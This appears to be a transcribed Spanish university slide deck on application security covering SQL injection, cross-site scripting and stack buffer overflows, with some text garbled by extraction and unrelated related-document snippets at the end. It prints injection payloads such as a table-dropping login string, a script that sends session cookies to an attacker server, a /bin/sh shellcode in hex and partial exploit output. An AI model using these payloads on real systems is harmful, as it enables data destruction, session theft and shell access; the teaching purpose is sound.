Seguridad a nivel aplicaciones

Tamaño: px
Comenzar la demostración a partir de la página:

Download "Seguridad a nivel aplicaciones"

Transcripción

1 Seguridad a nivel aplicaciones Principales ataques Roberto Gómez rogomez@itesm.mx Lámina 1 C. Ataque típico de red Lámina 2 C. Seguridad en Aplicaciones 1

2 Mecanismos de seguridad Firewalls IDS (Sistemas de Detección de Intrusos) Filtrado de información Lámina 3 C. Sin embargo Empresas necesitan dar servicios al exterior. Existe un puerto que siempre esta abierto Lámina 4 C. Seguridad en Aplicaciones 2

3 OWASP A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards Lámina 5 C. Inyección SQL o cuidado con lo que el usuario introduce Lámina 6 C. Seguridad en Aplicaciones 3

4 SQL Injection Structured Query Languaje (SQL) es un lenguaje textual usado para interactuar con bases de datos relacionales las instrucciones SQL pueden modificar la estructura de las bases de datos (usando instrucciones Data Definition Language, o DDL) y manipular el contenido de las bases de datos La Inyección SQL ocurre cuando un atacante puede introducir i una serie de instrucciones i SQL en una consulta manipulando datos de entrada dentro de una aplicación. Aplicada a la popular plataforma Microsoft Internet Information Server/Active Server Pages/SQL Server Lámina 7 C. Ejemplo Una típica instrucción SQL sería esta: select id, forename, surname from authors esta instrucción devolverá el id, forename y surename de las columnas de la tabla authors, devolviendo todas las filas de la tabla, El result set podría ser filtrado a un autor especifico author como esto: select id, forename, surname from authors where forename = john and surname = smith Lámina 8 C. Seguridad en Aplicaciones 4

5 Detalles Cadenas john y smith delimitadas por comillas simples. Suponiendo que los campos siendo recogidos por un formulario de entrada de datos, un atacante podría inyectar SQL en esta consulta, introduciendo valores como: Forename: jo hn Surname: smith El query string es: Resultado select id, forename, surname from authors where forename = jo hn and surname = smith Server: Msg 170, Level 15, State 1, Line1 Line 1: Incorrect syntax near hn. Lámina 9 C. SQL + Página Web Pagina con un formulario login en un Active Server Pages (ASP), accede a una base de datos SQL Server y autentifica el acceso a una aplicación ficticia. Dentro de la página el usuario introduce los datos de username y password Username: Password: Lámina 10 C. Seguridad en Aplicaciones 5

6 Punto crítico código El punto critico de esta parte del proceso de la pagina pg process _ login.asp es cuando crea la consulta de cadena: var sql = select * from users where username = + username + and password = + password + ; Un usuario puede especificar lo siguiente: Username: ; drop table users -- Password: La tabla será borrada Lámina 11 C. Otras opciones El atacante puede entrar como cualquier usuario, tomando nombres de usuario conocidos, usando la siguiente entrada Username: admin El atacante puede entrar como el primer usuarios de la tabla users, con la siguiente entrada Username: or 1=1 El atacante puede introducirse con un usuario ficticio usando la siguiente entrada Username: union select 1, usuario_ficticio, algun_password, 1 Lámina 12 C. Seguridad en Aplicaciones 6

7 Obteniendo información mensajes error Técnica descubierta por David Litchfield Para manipular los datos de la base de datos, determinar estructura base de datos y tablas. Por ejemplo, tabla users creada con el siguiente comando: Create table users(id int, Username varchar(255), Password varchar(255), Privs int) los siguientes usuarios users insertados insert into users values( 0, admin, r00tr0x!, 0xffff) insert into users values( 0, guest, guest, 0x0000) insert into users values( 0, chris, password, 0x00ff) insert into users values( 0, fred, sesame, 0x00ff ) Lámina 13 C. Obteniendo nombres tablas Atacante usa la cláusula having de la instrucción select : Username: having 1=1 - Esto provoca el siguiente error: Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server] Column users.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Lámina 14 C. Seguridad en Aplicaciones 7

8 Averiguando todas las columnas Atacante puede averiguar todas las columnas introduciendo cada campo dentro de una cláusula group by, como sigue: Username: group by users.id having 1=1 Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server] Column users.username is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Lámina 15 C. Determinando tipo cada columna Puede ser conseguido usando un mensaje de error type conversion, como: Username: union select sum(username) from users - Servidor SQL intenta aplicar la cláusula sum y duda determinando si el numero de campos en las dos filas es igual. cuando calcula el sum de un campo textual resulta en un mensaje de error Lámina 16 C. Seguridad en Aplicaciones 8

9 Mensaje de error Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 Lo que nos dice es que el campo username tiene tipo varchar Es posible usar esta técnica para determinar aproximadamente el tipo de cualquier columna de cualquier tabla en la base de datos Lámina 17 C. Consecuencias Permite al atacante crear una buena consulta insert como esta: Username: ; insert into users values( 666, attacker, foobar, 0xffff) - El poder de esta técnica no acaba aquí. El atacante puede tomar ventaja de los mensajes de error que revelan información ió sobre la base de datos. Una lista de mensajes de error estándar puede ser obtenida de la siguiente forma: select * from master..sysmessages Lámina 18 C. Seguridad en Aplicaciones 9

10 Eliminando comillas simples Los desarrolladores pueden tener protegida una aplicación por (digamos) eliminar todas las comillas simples ( ). Function escap( input ) Input = replace(input,, ) Escape = input End function Esto prevendría todos los ataques de los ejemplos anteriores, y eliminando el punto y coma ; nos ayudaría mas. Lámina 19 C. Dando la vuelta Posible crear una cadena sin utilizar comillas simples,,puede usar la función char. Por ejemplo: Insert into users values (666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff) Es una consulta que no contiene comillas simples, pero insertara cadenas en una tabla Lámina 20 C. Seguridad en Aplicaciones 10

11 Cross Site Scripting o lo que es lo mismo... cuidado con lo que sale y con lo que entra Lámina 21 C. Ataque XSS El problema reside en la administración de archivos adjuntos de tipo.html o.htm Manejar la salida de una aplicación web es lo mismo que pasar datos a los subsistemas el subsistema final al que se le pasa datos es el browser del visitante y el parser HTML en el browser solo es otro sistema cuando se envían datos a él se debe poner atención a los metacaracteres Problema notificado por CERT en el Lámina 22 C. Seguridad en Aplicaciones 11

12 Por qué XSS y no CSS? XSS: evitar confusiones con Cascading Style Sheets Ataque a través de un enlace que apunta a un servidor web afectado. URL se construye para que incluya un script del atacante que será transmitido por el servidor afectado al cliente que utilice el enlace para visitar el web. Por ejemplo, sitio web permite realizar búsquedas El XSS podría darse a través de una URL tipo: Lámina 23 C. Empecemos por lo sencillo Aplicación web: guest book permite visitantes introducir lo que dessen y solo añaden el nuevo texto a lo que estaba antes Usuario malicioso introduce lo siguiente: <!-- Nada pasa al principio, pero se mezcla con lo que se escribió y lo que se escribirá, aplicación web pasará lo siguiente a lectores libro de visitas: : Cool web page, dude! <!-- You re da man, boss : Lámina 24 C. Seguridad en Aplicaciones 12

13 Otros dos ejemplos Posible introducir: <script> for (q=0; q < 1000; q++) window.open( </script> Otro ejemplo un sitio de discusión para niños el sitio carece de filtrado hacia afuera, y alguien introduce lo siguiente: <imag src = Lámina 25 C. Secuestro de sesión 1 atacante inyecta script en el servidor y espera por una víctima 3 script se ejecuta en el browser de la víctima, y le envía la cookie de sesión al atacante 4 atacante pasa la cookie robada, provocando que el servidor piense que es la víctima servidor envía una cookie sesión y el script del atacante al visitante Lámina 26 C. 2 Seguridad en Aplicaciones 13

14 Algo de código JavaScript proporciona cookie al web server del atacante <script> document.location.replace( + =?what= + document.cookie) </script> Enviando el browser al sitio original <script> if (document.cookie.indexof( stolen ) < 0 { document.cookie = stolen=true ; document.location.replace( + =?what= + document.cookie + = &whatnext= ) } </script> Lámina 27 C. Otros ataques XSS Modificación texto posible cambiar información mientras la página es desplegada XSS con ingeniería social script malicioso no es almacenado en el servidor atacante engaña a la víctima, para que este se dirija a un URL con el scripto malicioso Robo de passwords algunos sitios vuelven a desplear el user-name si la autenticación falla, considerando que el password fue mal tecleado Lámina 28 C. Seguridad en Aplicaciones 14

15 Ejemplo de ingeniería social Lámina 29 C. El stack o buffer overflow atacando la aplicación a través de un exploit Lámina 30 C. Seguridad en Aplicaciones 15

16 El stack o buffer overflow Se dan a conocer los detalles de dicho ataque en noviembre 1996 (Phrack Magazine, número 49). Smashing The Stack For Fun And Profit Se produce una situación de desbordamiento del búfer cuando un usuario o un proceso intenta introducir en el búfer más datos de los originalmente i permitidos. Aprovechando esta situación se puede conseguir acceder fraudulentamente al sistema. Lámina 31 C. La vulnerabilidad Un stack overflow es una vulnerabilidad que se ocasiona porque el programador no presto atención o no se dio cuenta que la gente podía pasar mas información de la que en su variable cabía Fueron descubiertos a principios de los ochenta, pero no fue hasta 1988 cuando el worm de Internet llamado "morris" le informo del peligro de estos errores de seguridad a la gente Objetivo contar con una shell con los privilegios con que se esta ejecutando la aplicación que presenta la vulnerabilidad Lámina 32 C. Seguridad en Aplicaciones 16

17 Contexto de un proceso direcciones altas de memoria direcciones bajas de memoria stack heap datos no inicializados datos inicializados READ-WRITE datos inicializados READ-ONLY TEXTO (código) Datos dinámicos del programa Datos estáticos del programa Código del programa Lámina 33 C. Ejemplo stack dirección crecimiento stack User Stack Local not Vars shown Addr of frame 2 (resultado) Ret addr after write call parms to news buffer write count Local Vars count Addr of frame 1 (resultado) Ret addr after copy call parms to old new copy Local fdold Vars fdnew Addr of frame 0 Ret addr after main call parms to argc main argv copy (int old, int new) { int count; while ( (count = read(old, buffer, sizeof(buffer))) > 0 ) write(new, buffer, count); } main(argc, argv) { int fdold, fdnew; fdold = open(argv[1], O_RDONLY]); fdnew = open(argv[2], 0666); copy (fdold, fdnew); exit(0); } Lámina 34 C. Seguridad en Aplicaciones 17

18 Un primer ejemplo t cat prog1 int main(int argv,char **argc) { char buf[25]; } strcpy(buf,argc[1]); toto@cachafas:2> t gcc prog1.c -o prog1 toto@cachafas:3> prog1 esto es una prueba de un buffer overflow???????????????????????????? qué pasa si en lugar de strcpy() se usa strncpy()?? Lámina 35 C. Otro ejemplo void function (int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } Lámina 36 C. Seguridad en Aplicaciones 18

19 Foto del stack Parte baja memoria D3 D4 D5 D6 D7 D8 D9 DA DB DC DE DF E0 E1 E2 E3 E4 E5 E6 E8 E9 EA EB buffer2[10] buffer1[5] Parte alta stack EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Parte alta memoria sfp = ebp ret = IP a b c Parte baja stack Lámina 37 C. Segundo ejemplo void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } Lámina 38 C. Seguridad en Aplicaciones 19

20 Foto del stack Parte baja memoria E3 E4 Parte alta stack E5 E6 E8 E9 EA EB EC buffer[16] ED EE EF F0 F1 F2 F3 F4 F5 F6 sfp F7 F8 F9 FA ret FB FC FD Parte alta memoria FE *str Parte baja stack FF Lámina 39 C. Ejecutando el código prog2.c -o prog Bus error (core dumped) Lámina 40 C. Seguridad en Aplicaciones 20

21 Qué paso? Parte baja memoria E3 E4 Parte alta stack E5 E6 E8 E9 EA EB EC buffer[16] ED EE EF F0 F1 F2 F3 F4 F5 F6 sfp F7 F8 F9 FA ret FB FC FD Parte alta memoria FE *str Parte baja stack FF Lámina 41 C. Qué paso? E3 Parte baja memoria E4 Parte alta stack E5 A E6 E8 E9 EA A EB EC ED A EE EF F0 F1 F2 A F3 F4 F5 F6 A F7 F8 F9 FA A FB FC FD Parte alta memoria FE A Parte baja stack FF Lámina 42 C. Seguridad en Aplicaciones 21

22 Otro ejemplo void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } toto@cachafas:4> gcc prog2.c -o prog2 toto@cachafas:5> prog2 void main( (){ 0 int x; toto@cachafas:6> x = 0; function(1,2,3); x = 1; printf("%d\n",x); } Lámina 43 C. Siguiendo el stack Parte baja memoria D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DE DF E0 E1 E2 E3 E4 E5 E6 E8 E9 EA EB *ret buffer2[10] buffer1[5] Parte alta stack EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Parte alta memoria sfp RET=FF a b c Parte baja stack Lámina 44 C. Seguridad en Aplicaciones 22

23 Siguiendo el stack Parte baja memoria D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DE DF E0 E1 E2 E3 E4 E5 E6 E8 E9 EA EB *ret=e3+12 buffer2[10] buffer1[5] Parte alta stack EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Parte alta memoria sfp RET=FF a b c Parte baja stack Lámina 45 C. Siguiendo el stack Parte baja memoria D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DE DF E0 E1 E2 E3 E4 E5 E6 E8 E9 EA EB *ret=e3+12 buffer2[10] buffer1[5] Parte alta stack EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Parte alta memoria sfp RET=FF+8 a b c Parte baja stack Lámina 46 C. Seguridad en Aplicaciones 23

24 Por que sumar 8 Cuando se llama a function() RET vale 0x8004a8 Se desea saltarse la asignación en 0x80004ab La instrucción a ejecutar esta en 0x8004b2 Por lo que la distancia a saltar es de 8 0x80004a3 <main+19>: call 0x <function> 0x80004a8 <main+24>: addl $0xc,%esp 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp) 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax 0x80004b5 <main+37>: pushl %eax 0x80004b6 <main+38>: pushl $0x80004f8 Lámina 47 C. El payload Código proporcionado por el atacante como parte de la información extra. esta información extra se conoce como payload. La parte difícil es encontrar una dirección donde alojar al payload Posibles acciones del payload modifique algún valor el registro de Windows, dar de alta un usuario en el archivo /etc/password de un sistema Unix, abrir el compartimiento de CDs de la computadora. Muchas veces se confunde el payload con un shellcode. Lámina 48 C. Seguridad en Aplicaciones 24

25 Los shellcodes Son fragmentos de código escritos en lenguaje ensamblador que ejecutan una serie de ordenes comunicándose directamente con el kernel, es decir, usando llamadas al sistema. Se usa para conseguir ejecutar un código después de haber sobreescrito la dirección de retorno de un programa/función mediante un overflow, o mediante cualquier otro método válido es decir, el valor de la dirección de retorno que se sobreescribira será la de nuestra shellcode. El proceso, consiste en copiar el código de shell en el espacio de variables locales Lámina 49 C. Ejemplo de un shellcode #include <stdio.h> void main() { char *name[2]; } name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); Lámina 50 C. Seguridad en Aplicaciones 25

26 Ejecutando el shellcode Se aprovecha que Linux permite la ejecución de código contenido en la sección de la pila, esta marcada con los bits de lectura, escritura y ejecución. Se sobrescribe RET con la dirección de la shellcode, de manera que cuando el programa salga de la función principal, main(), el programa salte al código shell, ejecutando aquellas operaciones que contenga En la actualidad hay exploits que utilizan desde los shellcodes mas simples hasta los mas complejos, desde los mas grandes hasta los mas chicos, usan criptografía, NOPS-free, shellcodes polimorficos, ofuscados, etc. Lámina 51 C. Ejemplo de shellcode char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46" "\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00" "\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } Lámina 52 C. Seguridad en Aplicaciones 26

27 Resumiendo Cadena con 120 caracteres A stack RE ET EB BP Buffer 100 bytes stack 0x x02fe4f0a 0x x0050a78f Cadena con SHELL CODE El código ASCII de A es 41 stack RET EBP Buffer 100 bytes stack 0x02fe4f0a 0x02fe4f0a 0x02fe4f0a 0x02fe4f0a Código en NOPs Ensamblador (ejecuta SH o ejecuta cmd.exe) Lámina 53 C. El exploit Del inglés to exploit, explotar, aprovechar. Es el nombre con el que se identifica un programa informático malicioso, o parte del programa, que trata de forzar alguna deficiencia o vulnerabilidad de otro programa (llamadas bugs). El fin puede ser la destrucción o inhabilitación del sistema atacado, aunque normalmente se trata de violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros. Lámina 54 C. Seguridad en Aplicaciones 27

28 El ataque exploit root stack de la aplicación Lámina 55 C. HEAD / HTTP/1.0 HTTP/ OK Content-Length: 2506 Date: Mon, 01 Oct :04:41 GMT Content-Location: Content-Type: text/html Server: Microsoft-IIS/5.0 Accept-Ranges: bytes Last-Modified: Mon, 01 Oct :06:52 GMT ETag: "20c1bf347cfc01:941" Connection closed by foreign host. hacker.com:~$./idaexploit.sh Connecting... Dumping Shell: \x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x= 1c\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04\x90\x90\x90\xac\= x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c= \x6b\xbd\xd9\x99\x14\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4= \xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9\x99\xcf\x14\x2c\x6= 8\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x= 99\x99\x14\x2c\x6c\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf\= xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf\xd9\x99\x34\xc9\x66= Lámina 56 C. Seguridad en Aplicaciones 28

29 Otros exploits relacionados Bugs de Formato cualquier función que tome un formato como argumento es vulnerable a un tipo de buffer overflow llamado format string overflow (overflow de cadena de formato). Mal manejo de enteros Integer overflow and underflow conditions Integer comparisons Precision and promotion errors Stack Memory Overflowing Force Memory Leak Off by one Lámina 57 C. Y que se hace? Búsqueda datos víctima Búsqueda puertas/ventanas abiertas máquina Averiguar el sistema operativo y la versión de este. Alguna puerta/ventana abierta presenta alguna vulnerabilidad? Existe algún exploit relacionado con la vulnerabilidad d y la versión del sistema operativo de la víctima? Bajar el exploit e instalarlo. Ejecutarlo para llevar a cabo el ataque. Lámina 58 C. Seguridad en Aplicaciones 29

30 Herramientas Metasploit Framework Herramienta gratuita Escrita en PERL CORE IMPACT $25K por año Escrita en Python y C++ Immunitysec CANVAS Menos extensa que CORE IMPACT Mucho más barata: $1300 Lámina 59 C. Técnicas prevención vulnerabilidades Revisión código fuente source code auditing proyecto OpenBSD herramientas: ITS4, RATS y LCLint lista herramientas: sardonix.org/auditing_resources.html. Modificando el compilador añadir detección buffer overflow de forma automática a un programa usando un compilador modificado ejemplo: StackGuard, ProPolice, StackShield y Return Address Defender (RAD). Lámina 60 C. Seguridad en Aplicaciones 30

31 Técnicas prevención vulnerabilidades Modificación sistema operativo modificando algunos aspectos del sistema operativo modificar el segmento del stack de tal forma que no sea ejecutable librería: Libsafe: intercepta llamadas a funciones vulnerables y ejecuta una versión segura de la llamadas. Modificación hardware tecnicas deteccion afectan desempeño (4% a 1,000%) mover operaciones de software a hardware propuesta SmashGuard proposal [10] uses a modification of the microcoded instructions for the CALL and RET opcodes in a CPU to enable transparent protection against buffer overflow attacks. Lámina 61 C. Y cómo nos protegemos? La mejor solución es usar funciones que tengan en cuenta el numero de bytes que se escriben. Tabla relaciona funciones vulnerables con la función que debería ser usada en su lugar. Función vulnerable get(s) strcpy() sprintf() getc() getchar() Reemplazar por sscanf() strncpy() snprintf() pueden ser especialmente vulnerables usadas en un ciclo Lámina 62 C. Seguridad en Aplicaciones 31

Seguridad a nivel aplicaciones

Seguridad a nivel aplicaciones Seguridad a nivel aplicaciones Principales ataques Roberto Gómez rogomez@itesm.mx http://homepage.cem.itesm.mx/rogomez Lámina 1 C. Mecanismos de seguridad Firewalls IDS (Sistemas de Detección de Intrusos)

Más detalles

Roberto Gómez Cárdenas ITESM-CEM rogomez@itesm.mx http://homepage.cem.itesm.mx/rogomez

Roberto Gómez Cárdenas ITESM-CEM rogomez@itesm.mx http://homepage.cem.itesm.mx/rogomez Los procesos Roberto Gómez Cárdenas ITESM-CEM rogomez@itesm.mx http://homepage.cem.itesm.mx/rogomez p g Lámina 1 Los procesos Lámina 2 Contexto de un proceso direcciones altas de memoria direcciones i

Más detalles

Capítulo 2.- Vulnerabilidades en aplicaciones web.

Capítulo 2.- Vulnerabilidades en aplicaciones web. Capítulo 2.- Vulnerabilidades en aplicaciones web. En este capítulo se explican algunas vulnerabilidades en aplicaciones web que pueden ser explotadas por software o por personas malintencionadas y como

Más detalles

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL AUTOR: Chema Alonso Consultor de Seguridad en Informática 64. Microsoft MVP Enterprise Security

Más detalles

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez 2015-1

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez 2015-1 Sesión 13. Seguridad en la web Luisa Fernanda Rincón Pérez 2015-1 Qué vimos la clase pasada? 1. Características de MongoDB 2. Colecciones - documentos 3. Consulta, inserción, modificación, eliminación

Más detalles

Ataques XSS en Aplicaciones Web

Ataques XSS en Aplicaciones Web Ataques XSS en Aplicaciones Web Education Project Antonio Rodríguez Romero Consultor de Seguridad Grupo isoluciones antonio.rodriguez@isoluciones.es Copyright 2007 The Foundation Permission is granted

Más detalles

S E G U R I D A D E N A P L I C A C I O N E S W E B

S E G U R I D A D E N A P L I C A C I O N E S W E B H E R R A M I E N T A S A V A N Z A DA S D E DE S A R R O L L O D E S O F T W A R E 2 0 0 7-2 0 0 8 S E G U R I D A D E N A P L I C A C I O N E S W E B X S S Y S Q L I N J E C T I O N G R U P O 2 4 S A

Más detalles

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP SOLUTIONS FOR KEEPING YOUR BUSINESS UP Email: info@ximark.com Tel. +(507) 271 5951 Tel. +(1) 928 752 1325 Aptdo. 55-0444, Paitilla. Panama City, Panama SECURITY DAY PERU Ataques a las Aplicaciones Web

Más detalles

Curso: (62612) Diseño de aplicaciones seguras

Curso: (62612) Diseño de aplicaciones seguras Curso: (62612) Diseño de aplicaciones seguras Fernando Tricas García Departamento de Informática e Ingeniería de Sistemas Universidad de Zaragoza http://webdiis.unizar.es/~ftricas/ http://moodle.unizar.es/

Más detalles

Programación segura. Seguridad en los Sistemas Informáticos. Ismael Ripoll. Universidad Politècnica de València. Abril 2011

Programación segura. Seguridad en los Sistemas Informáticos. Ismael Ripoll. Universidad Politècnica de València. Abril 2011 Programación segura Seguridad en los Sistemas Informáticos Ismael Ripoll Universidad Politècnica de València Abril 2011 Ismael Ripoll (Universidad Politècnica de València) Programación segura Abril 2011

Más detalles

ARE YOUR WEB VULNERABLE?

ARE YOUR WEB VULNERABLE? CROSS-SITE SITE SCRIPTING: ARE YOUR WEB APPLICATIONS VULNERABLE? Alberto Calle Alonso Sebastián Marcos Miguel Mateo de la Puente Madrid, Febrero 2009 1 ÍNDICE Introducción Cross-site scripting HTTP y HTML

Más detalles

Objetivo: Introducción conceptual y aplicación básica de los lenguajes del lado del servidor.

Objetivo: Introducción conceptual y aplicación básica de los lenguajes del lado del servidor. Sesión 03: Lenguajes web del servidor Competencias a Conseguir: - Conocer el entorno de trabajo a nivel de servidores web. - Instalación del localhost (Servidor Local). - Repaso general de PHP y ejercicios

Más detalles

Ejercicios - Persistencia en Android: ficheros y SQLite

Ejercicios - Persistencia en Android: ficheros y SQLite Ejercicios - Persistencia en Android: ficheros y SQLite Índice 1 Uso de ficheros (0.5 puntos)...2 2 Persistencia con ficheros (0.5 puntos)...3 3 Base de datos: SQLiteOpenHelper (0.5 puntos)... 3 4 Base

Más detalles

SQL (Structured Query Language)

SQL (Structured Query Language) SQL (Structured Query Language) El lenguaje de consulta estructurado o SQL (por sus siglas en inglés Structured Query Language) es un lenguaje declarativo de acceso a bases de datos relacionales que permite

Más detalles

XPERTO EN DISEÑO DE PÁGINAS WEB

XPERTO EN DISEÑO DE PÁGINAS WEB Curso ICA de: EXPERTO EN DISEÑO DE PÁGINAS WEB Módulo 1: Program. cliente: JavaScript Estudia el lenguaje JavaScript para crear guiones o scripts que se incluyen en las páginas web y que son ejecutados

Más detalles

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable 1. Introducción. El Sistema de Administración de Información de un Negocio Franquiciable (SAINF)

Más detalles

Aplicaciones seguras con ClaseSeguridad

Aplicaciones seguras con ClaseSeguridad Aplicaciones seguras con ClaseSeguridad Índice de contenido Por que ClaseSeguridad?...1 Referenciar ClaseSeguridad...1 Declaración y creación...1 Evitar inyección de SQL...1 Eliminar etiquetas...3 Evitar

Más detalles

Iniciando con Oracle. Índice de contenido. Ingresando a Oracle. Cambiando Su Contraseña. Ingresando un Comando SQL en SQL*Plus

Iniciando con Oracle. Índice de contenido. Ingresando a Oracle. Cambiando Su Contraseña. Ingresando un Comando SQL en SQL*Plus Iniciando con Oracle Índice de contenido Ingresando a Oracle...1 Cambiando Su Contraseña...1 Ingresando un Comando SQL en SQL*Plus...2 Saliendo de SQL*Plus...2 Consiguiendo Ayuda...2 Creación de una Tabla...3

Más detalles

Tutorial de Unity 3D Tema 52 Bases de Datos. Tutorial de Unity 3D. Bases de Datos

Tutorial de Unity 3D Tema 52 Bases de Datos. Tutorial de Unity 3D. Bases de Datos Tutorial de Unity 3D En este tutorial trabajaremos el almacenamiento de información en una base de datos, bien sea local o remota. Dicha información puede ser propia el cliente (Créditos de juego, puntos

Más detalles

SQL INJECTION. Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián. 66.69 Criptografía y Seguridad Informática.

SQL INJECTION. Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián. 66.69 Criptografía y Seguridad Informática. SQL INJECTION Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián Grupo 5 66.69 Criptografía y Seguridad Informática Introducción 2 Ataque basado en inyección de código Explota omisiones

Más detalles

RETO HACKER DE VERANO

RETO HACKER DE VERANO RETO HACKER DE VERANO Blind XPath Reto Hacker de verano Índice 1 Introducción... 2 2 Proceso de trabajo... 2 2.1 Toma de contacto (fingerprinting)... 2 2.2 Comienza el ataque... 4 2.3 Explicacion del ataque

Más detalles

Programa de Ayuda EMCS Instalación Versión SQL Server Versión 1.0 - Marzo 2010

Programa de Ayuda EMCS Instalación Versión SQL Server Versión 1.0 - Marzo 2010 Programa de Ayuda EMCS Instalación Versión SQL Server Versión 1.0 - Marzo 2010 Programa de Ayuda EMCS Instalación Versión SQL Server Tabla de Contenido 1 INSTALACIÓN EN EL SERVIDOR...3 1.1 CREAR LA BASE

Más detalles

Introduccion al Lenguaje C. Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia

Introduccion al Lenguaje C. Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia Introduccion al Lenguaje C Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia Introducción C es un lenguaje de programación creado en 1972 por

Más detalles

RETO FORENSE EPISODIO III Resumen Ejecutivo

RETO FORENSE EPISODIO III Resumen Ejecutivo RETO FORENSE EPISODIO III Resumen Ejecutivo José Antonio Valero Sánchez javalero@gmail.com Zaragoza, España 2006 Motivos de la intrusión. Después de analizar la imagen del sistema cabe destacar que el

Más detalles

DOCS. Pautas básicas para el DESARROLLO DE PLUGINS

DOCS. Pautas básicas para el DESARROLLO DE PLUGINS Pautas básicas para el DESARROLLO DE PLUGINS ÍNDICE 1. Protección contra CSRF............................. 2. Protección XSS.................................... 3. Protección contra inyecciones SQL6...................

Más detalles

7. Manejo de Archivos en C.

7. Manejo de Archivos en C. 7. Manejo de Archivos en C. Los datos que hemos tratado hasta el momento han residido en la memoria principal. Sin embargo, las grandes cantidades de datos se almacenan normalmente en un dispositivo de

Más detalles

La utilización de las diferentes aplicaciones o servicios de Internet se lleva a cabo respondiendo al llamado modelo cliente-servidor.

La utilización de las diferentes aplicaciones o servicios de Internet se lleva a cabo respondiendo al llamado modelo cliente-servidor. Procesamiento del lado del servidor La Programación del lado del servidor es una tecnología que consiste en el procesamiento de una petición de un usuario mediante la interpretación de un script en el

Más detalles

Instituto Tecnológico de Las América. Materia Sistemas operativos III. Temas. Facilitador José Doñe. Sustentante Robín Bienvenido Disla Ramirez

